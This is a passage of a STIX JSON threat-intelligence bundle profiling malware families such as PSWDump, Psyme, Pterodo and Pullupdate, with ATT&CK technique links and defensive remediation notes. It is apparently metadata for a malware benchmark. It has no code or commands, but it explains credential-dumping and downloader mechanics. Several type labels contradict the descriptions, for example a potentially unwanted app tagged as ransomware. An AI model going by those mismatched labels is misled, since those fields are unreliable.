      "description": "<h3>Executive Summary</h3>\nPSWDump is a malicious HackTool and credential dumper specifically designed to extract Windows NT LAN Manager (NTLM) password hashes from the Security Account Manager (SAM) database or directly from the Local Security Authority Subsystem Service (LSASS) memory. Widely utilized by penetration testers and malicious threat actors alike, it is a critical tool for lateral movement and privilege escalation during a network breach.\n\n<h3>Technical Architecture and Exploitation</h3>\nPSWDump (and its many variants like pwdump, fgdump, and components of Mimikatz) requires local administrative privileges to function. Once executed, it bypasses standard Windows security restrictions to access sensitive cryptographic data.\n\nIts core functionalities include:\n<ul>\n<li><strong>Registry SAM Extraction:</strong> The tool accesses the `HKLM\\SAM` and `HKLM\\SYSTEM` registry hives to extract the SYSKEY (the boot key) and subsequently decrypt the NTLM hashes of all local user accounts stored in the SAM database.</li>\n<li><strong>Memory Scraping (LSASS):</strong> Advanced variants can directly hook into `lsass.exe` to scrape plaintext passwords (if WDigest is enabled) or NTLM hashes of active logon sessions from volatile memory.</li>\n<li><strong>Hash Cracking Preparation:</strong> The extracted hashes are formatted (typically in the `user:RID:LM:NTLM` format) and outputted to a text file, allowing the attacker to load them into offline cracking tools (like Hashcat or John the Ripper) or use them directly in Pass-the-Hash (PtH) attacks.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe successful execution of PSWDump is a catastrophic failure of endpoint security. By obtaining NTLM hashes, an attacker can authenticate to other network resources without ever knowing the user's plaintext password, rapidly escalating a single compromised endpoint into a full Active Directory domain compromise.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Credential Guard:</strong> Enable Microsoft Defender Credential Guard on all modern Windows operating systems. Credential Guard utilizes virtualization-based security (VBS) to isolate LSASS and secrets, rendering tools like PSWDump highly ineffective.</li>\n<li><strong>Disable LM and WDigest:</strong> Ensure legacy authentication protocols are disabled via Group Policy. Restrict NTLM usage where possible and force Kerberos authentication.</li>\n<li><strong>Behavioral EDR:</strong> Deploy EDR solutions specifically tuned to alert on processes attempting to access `lsass.exe` (Event ID 4656/4663) or unauthorized attempts to read the SAM registry hive.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.PSWDump",
        "Tool.Pwdump",
        "Riskware.CredentialDumper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pswdump",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pswdump"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--720a6753-9035-5707-8973-743afe23ff7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pswdump exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44ee8cea-630a-5081-a0d2-66b312abdd3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "target_ref": "attack-pattern--c3a4d6d4-acb6-500e-bd8f-3225d1decb74",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pswdump exhibits technique T1003.002 (OS Credential Dumping: Security Account Manager (SAM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e32075ab-4c75-549a-90bf-2eecd123c90b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pswdump exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77ffe353-2656-5445-b4d9-29c475176b90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pswdump exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c84cebfc-ef73-5776-b274-3a91c2b35424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pswdump exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb8e2af6-4598-5215-a1d8-61a3124bda11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pswdump exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--78f13d6c-114c-5b12-9b61-f3693a6bf3f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pswtool",
      "description": "Pswtool (classified across antimalware engines under designations including HackTool:Win32/Pswtool, Tool:Win32/Pswtool, and Win32/Pswtool) is a generic classification and weaponized post-exploitation credential harvesting utility used by adversaries and red teams to dump stored passwords from Windows systems. Pswtool targets Windows Local Security Authority Subsystem Service (LSASS) memory, SAM registry hives, and DPAPI-protected browser stores (Chrome, Firefox, Edge, Opera) to extract cleartext passwords, NTLM hashes, and Kerberos tickets. The tool utilizes low-level process memory reading via OpenProcess with PROCESS_VM_READ permissions and MiniDumpWriteDump APIs, saving dumped credentials to local text files or piping them directly to standard output for lateral movement. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/Pswtool",
        "Tool:Win32/Pswtool",
        "Win32/Pswtool",
        "Pswtool Password Dumper",
        "Riskware.Pswtool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pswtool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pswtool"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a7a7994-1248-559b-b80e-87bb70105025",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Psyme",
      "description": "<h3>Executive Summary</h3>\nPsyme is a classification for a family of malicious Trojans that rely heavily on scripting languages\u2014specifically VBScript (.vbs) and JavaScript (.js)\u2014to execute their payloads. Rather than using compiled executables (.exe), Psyme leverages the native Windows Script Host (WSH) to download and execute secondary malware, making it a frequent component in drive-by downloads and exploit kits.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPsyme is predominantly distributed via malicious websites (where the script is embedded directly into the HTML and executed via a browser vulnerability) or as an obfuscated script file attached to a phishing email (e.g., an invoice disguised as a `.pdf.vbs` file).\n\nUpon execution, Psyme leverages native Windows tools:\n<ul>\n<li><strong>Living off the Land (LotL):</strong> By executing via `wscript.exe` or `cscript.exe`, Psyme bypasses basic executable whitelisting and often avoids heuristic detection by older AV engines that focus solely on PE files.</li>\n<li><strong>Downloader Functionality:</strong> The script's primary function is to reach out to an attacker-controlled server (often using the `MSXML2.XMLHTTP` COM object) to download a secondary, more destructive payload (like a banking trojan or ransomware).</li>\n<li><strong>File System and Registry Manipulation:</strong> The script typically saves the downloaded payload to the `%Temp%` or `%AppData%` directory, modifies the Registry to ensure persistence (e.g., adding an entry to the `Run` key), and then executes the payload using the `WScript.Shell` object.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Psyme infection is a severe indicator of compromise (IoC) because it acts as the gateway for more destructive malware. The use of script-based downloaders is a common tactic for bypassing initial perimeter defenses and delivering ransomware payloads.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> EDR solutions must be configured to monitor the behavior of script interpreters (`wscript.exe`, `cscript.exe`, `powershell.exe`), particularly when they attempt to establish outbound network connections or execute files in temporary directories.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Isolate the infected endpoint and conduct a thorough forensic sweep to identify the specific secondary payload that Psyme successfully downloaded and executed.</li>\n<li><strong>System Hardening (GPO):</strong> To prevent future script-based attacks, configure Group Policy (GPO) to change the default file association for `.vbs` and `.js` files to open in Notepad rather than executing via WSH, and deploy Windows Defender Application Control (WDAC).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "JS/Psyme",
        "VBS/Psyme",
        "TrojanDownloader:JS/Psyme",
        "Win32/Psyme"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Psyme",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/psyme"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88c5c841-e683-52c0-b9bc-4fcdd29c22da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a7a7994-1248-559b-b80e-87bb70105025",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyme exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52cf1a2b-d3d0-5077-ab8d-8ad84d09ceb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a7a7994-1248-559b-b80e-87bb70105025",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyme exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript/AutoIt)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2d6746b-cd7e-5f06-9d46-a146bbc47fa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a7a7994-1248-559b-b80e-87bb70105025",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyme exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5683e928-9300-5a2a-a630-42279414cccd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a7a7994-1248-559b-b80e-87bb70105025",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyme exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--681191cd-bc75-5fd1-bbe2-2c746cab5656",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Psyokym",
      "description": "Trojan:Win32/Psyokym is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Psyokym</b><br>To an end-user, a Psyokym infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Psyokym is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Psyokym is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Psyokym frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Psyokym reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Psyokym",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/psyokym"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85edfe21-262c-52e3-b16f-79714225badd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--681191cd-bc75-5fd1-bbe2-2c746cab5656",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyokym exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ac411d6-f762-5c5f-b981-cefc3139d25a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--681191cd-bc75-5fd1-bbe2-2c746cab5656",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyokym exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0dd6f05-ee29-5d3c-ba46-7f4e053e4d2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--681191cd-bc75-5fd1-bbe2-2c746cab5656",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyokym exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c99ec325-ecc6-500f-b055-a9aacb351208",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--681191cd-bc75-5fd1-bbe2-2c746cab5656",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyokym exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4565981-286a-591c-9ceb-756a3bd3da9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--681191cd-bc75-5fd1-bbe2-2c746cab5656",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psyokym exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a4a71bd7-71a0-5dfe-9913-dddc1e40c664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pterodo",
      "description": "Pterodo (also known as Pteranodon, tracked under designations including Backdoor:Win32/Pterodo, Trojan:Win32/Pterodo, and Backdoor.Pteranodon) is a specialized cyber espionage backdoor and reconnaissance framework actively developed and operated by the Russian state-sponsored advanced persistent threat actor Gamaredon (Primitive Bear, ACTINIUM, Shuckworm, UAC-0010) since at least 2014. Exclusively deployed in targeted campaigns against Ukrainian governmental, military, law enforcement, and critical infrastructure organizations, Pterodo is distributed via spear-phishing emails containing malicious Microsoft Office documents with weaponized VBA macros or dynamic remote template injection. Once executed, Pterodo drops multi-stage VBScript, AutoIt, or PowerShell payloads. It gathers extensive system enumeration telemetry (machine name, volume serial numbers, network adapters, and security software), establishes persistence via scheduled tasks and user Startup folder shortcuts, and communicates with dynamically rotating fast-flux C2 infrastructure. Pterodo's modular design enables operators to download secondary modules, capture screenshots, log keystrokes, and exfiltrate sensitive strategic military files. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Pterodo",
        "Trojan:Win32/Pterodo",
        "Backdoor.Pteranodon",
        "Win32/Pteranodon",
        "Pteranodon RAT",
        "Gamaredon Pterodo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pterodo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pterodo"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA22-047A"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ec8e533-6c1d-5c03-9cad-0d12156f9e2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Puamson",
      "description": "PUA:Win32/Puamson (Potentially Unwanted Application) is a Microsoft Defender classification for software that is not strictly malicious (like a trojan or ransomware), but exhibits behaviors that degrade the user experience, compromise privacy, or consume excessive system resources. This classification is often applied to aggressive adware, misleading system optimizers, or software bundlers that trick users into installing unwanted toolbars.<br><br><b>Understanding Puamson (Potentially Unwanted Applications)</b><br>To an end-user, the computer may become noticeably slower, display unexpected pop-up advertisements, or feature a newly changed browser homepage and search engine. For a SOC analyst, Puamson represents a low-level nuisance but also a risk indicator; the presence of PUAs often implies a lack of strict endpoint application controls and user susceptibility to social engineering (e.g., clicking 'Next' on shady installers).<br><br><b>Execution and Nuisance Mechanics</b><br>Puamson software typically relies on deceptive installation practices (`T1189`), bundling itself with free software downloaded from third-party aggregation sites. Once installed, it establishes persistence (usually via Registry Run keys) to ensure it launches automatically. It may aggressively hook into the browser (`T1176`) to inject ads, or run continuous background scans that always 'find' critical system errors, prompting the user to buy a premium version of the software to 'fix' them (Scareware tactics).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily a degradation of system performance and an annoyance to the user, though it can lead to data privacy violations through excessive tracking. Host-based IoCs include the presence of unknown browser extensions, modifications to the browser's default search engine, and the unexpected presence of 'System Optimizer' software in `C:\\Program Files`. EDR tools will flag the installer as a PUA based on its digital signature or heuristics. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Puamson",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/puamson"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b05fdf8-93c5-516d-9a61-16aa42324c26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec8e533-6c1d-5c03-9cad-0d12156f9e2a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puamson exhibits technique T1189 (Drive-by Compromise (Commonly bundled with freeware downloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d773ed5e-92d3-5238-bfc7-58d01b1f12c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec8e533-6c1d-5c03-9cad-0d12156f9e2a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puamson exhibits technique T1176 (Browser Extensions (Installing add-ons to inject ads and track browsing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--909d7ded-6974-5371-975c-d7eef66f0279",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec8e533-6c1d-5c03-9cad-0d12156f9e2a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puamson exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the PUA runs on startup))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6aabb5a8-5249-5d17-a34c-07156b3c3813",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pullupdate",
      "description": "Adware:Win32/Pullupdate is a persistent component often associated with larger Potentially Unwanted Program (PUA) or Adware frameworks. Its primary function is to act as a silent, background updater service. Rather than delivering a payload itself, Pullupdate ensures that any previously installed adware extensions, browser hijackers, or tracking modules on the endpoint are constantly refreshed, overriding any user attempts to remove or disable them.<br><br><b>Understanding Pullupdate Mechanisms</b><br>To an end-user, Pullupdate is entirely invisible; it doesn't display windows or generate errors. However, users will notice that rogue browser extensions (like 'Search Protect' or various coupon clippers) miraculously reappear after being deleted. For a security analyst, Pullupdate is a persistence mechanism (`T1547.001`). It is the 'watchdog' that guarantees the adware developers maintain their foothold on the system to continue generating illicit affiliate revenue.<br><br><b>Execution and Persistence</b><br>Pullupdate is installed silently alongside bundled freeware (`T1189`). It immediately registers itself as a Windows Service (`T1543.003`) or creates a scheduled task (`T1053.005`) that runs with SYSTEM privileges upon boot. Once active, it periodically reaches out to its Command-and-Control (C2) servers (`T1071.001`). It downloads the latest versions of the adware binaries and rogue browser extension `.crx` files. If it detects that the adware has been removed from the browser or the registry, it silently reinstalls it (`T1176`), effectively undoing the user's remediation efforts.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the inability to permanently remove adware, leading to continuous browser hijacking and privacy violations. IoCs include EDR alerts for the creation of unexpected Scheduled Tasks pointing to obscure executables in the `%AppData%` or `%ProgramData%` directories. Network logs will show rhythmic, beaconing HTTP/HTTPS traffic to known PUA infrastructure, often downloading signed, but suspicious, payload files. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pullupdate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pullupdate"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fb0a10b-87f2-5312-9868-6acc0ca99ebe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aabb5a8-5249-5d17-a34c-07156b3c3813",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pullupdate exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Updater service))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f662c88d-4799-51d9-b508-779037f8acba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aabb5a8-5249-5d17-a34c-07156b3c3813",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pullupdate exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3485988c-113a-5571-9494-8528bacec5cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aabb5a8-5249-5d17-a34c-07156b3c3813",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pullupdate exhibits technique T1176 (Browser Extensions (Reinstalling rogue extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b325ddf3-e112-5381-bfda-95ff01f11379",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aabb5a8-5249-5d17-a34c-07156b3c3813",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pullupdate exhibits technique T1189 (Drive-by Compromise (Initial delivery))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e9c812a2-4d36-51b8-8916-fc98bb8bafd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pulobe",
      "description": "<h3>Executive Summary</h3>\nPulobe is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPulobe is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pulobe operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pulobe ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pulobe receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pulobe infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint 